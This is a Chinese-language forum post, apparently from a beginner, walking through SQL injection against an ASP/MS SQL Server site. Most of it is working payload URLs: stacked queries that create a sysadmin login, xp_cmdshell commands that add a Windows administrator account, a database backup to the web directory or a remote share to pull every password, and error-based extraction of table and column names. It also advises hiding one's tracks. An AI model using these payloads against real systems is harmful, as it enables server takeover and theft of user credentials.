刚刚开始学习SQL注入入侵,有写的不对和不好的地方希望各位师哥,师姐们多多指导。 在一个供求信息发布的网站上测试了一下,页面Http://www.xxx.com/new/new.asp?id=49 我做了如下测试:(1) Http://www.xxx.com/new/new.asp?id=49' Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14 (2) Http://www.xxx.com/new/new.asp?id=49 and 1=1 (3) Http://www.xxx.com/new/new.asp?id=49 and 1=2 注:上面的测试已经可以看出有SQL注入的机会,我们用下面一个句子来判断他数据库类型和登陆身份。 获得以上信息后,就可以提交以下URL来一步一步的获得SQL管理员权限和系统权限了。 (1) Http://www.xxx.com/new/new.asp?id=49;exec (2) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;-- (3) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;-- 提升权限:加FMZM进sysadmin管理组(有时候会不成功,就常识下面的句子 (4) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- (5) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';-- 把帐号FMZM加入到管理员组 OK,到此为止,已经得到了SQL管理权限和系统权限了,还有什么不能做的呢?把上面的句子变个形 开个TELNET,或者用SQL连接器去连接,随便你怎么整了,记得别暴露自己哦 :)目前有些好的IDS已经开始监视xp_cmdshell这些关键字了.
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。 (2) http://Site/url.asp?id=1;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';-- 这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。 (3) http://Site/url.asp?id=1 ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0 sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是可以 (4) http://Site/url.asp?id=1 ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0 从(3)拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名 |
|站长邮箱|小黑屋|手机版|Office中国/Access中国 ( 粤ICP备10043721号-1 )
GMT+8, 2024-11-29 04:44 , Processed in 0.089329 second(s), 16 queries .
Powered by Discuz! X3.3
© 2001-2017 Comsenz Inc.